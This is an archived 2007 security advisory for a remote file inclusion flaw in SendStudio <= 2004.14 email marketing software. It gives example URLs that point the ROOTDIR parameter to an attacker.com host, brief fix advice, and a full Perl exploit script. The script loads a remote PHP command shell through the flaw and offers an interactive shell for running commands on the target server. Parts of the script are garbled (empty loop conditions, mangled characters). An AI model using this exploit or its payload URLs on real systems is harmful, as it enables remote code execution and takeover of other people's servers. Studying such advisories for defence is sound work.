AOH :: HP Unsorted S :: C07-2436.HTM

SendStudio <= 2004.14 Remote File Inclusion Vulnerability



SendStudio <= 2004.14 Remote File Inclusion Vulnerability
SendStudio <= 2004.14 Remote File Inclusion Vulnerability



ECHO_ADV_66$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_66$2007] SendStudio <= 2004.14 Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : Feb, 20th 2007
Location       : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv66-K-159-2007.txt 
Critical Lvl   : Dangerous
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : SendStudio 
version       : <= 2004.14
URL : http://www.interspire.com/sendstudio/ 
Description :

SendStudio is PHP email marketing software that lets you create, send and track an unlimited number of email messages and autoresponders. Over 25,000 people are already using SendStudio to keep in touch with their subscribers.

Once installed on your web server you can say goodbye to clunky, outdated desktop applications (such as Outlook) and email your subscribers using SendStudio whenever you like from where ever you like using your favorite web browser.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at admin/includes/createemails.inc.php :

---------------createemails.inc.php--------------------------------------
http://www.target.com/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=http://attacker.com/evil? 
http://www.target.com/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=http://attacker.com/evil? 


Solution:
~~~~~~~

- Sanitize variable $ROOTDIR on affected files.
- Turn off register_globals
- use the lates version

Notification :
~~~~~~~~~~
vendor was contacted

---------------------------------------------------------------------------
Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net 

---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/ 

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit:
~~~~~~~~~~
#!/usr/bin/perl
##
# SendStudio <= 2004.14 Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2007
# 
##
# usage:
# perl SendStudio.pl   
#
# perl SendStudio.pl http://target.com/sendstudio/ http://site.com/cmd.txt cmd 
#
# cmd shell example: 
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), str0ke, SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net 
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while()
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'admin/includes/createemails.inc.php?ROOTDIR='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[=C3ƒ=C6’.=C3ƒ=E2€š=C3‚=C2=AA]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in /)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^.Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[=C3ƒ=C6’.=C3ƒ=E2€š=C3‚=C2=AA]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[E-C-H-O] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *SendStudio <= 2004.14 Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl $0   \r\n\n";
print "  - Full path to SendStudio ex: http://www.site.com/sendstudio \r\n"; 
print "  - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; 
 print "  - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
print " www.echo.or.id #e-c-h-o irc.dal.net 2007 \r\n"; 
 print "============================================================================\r\n";
 exit();
 }

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.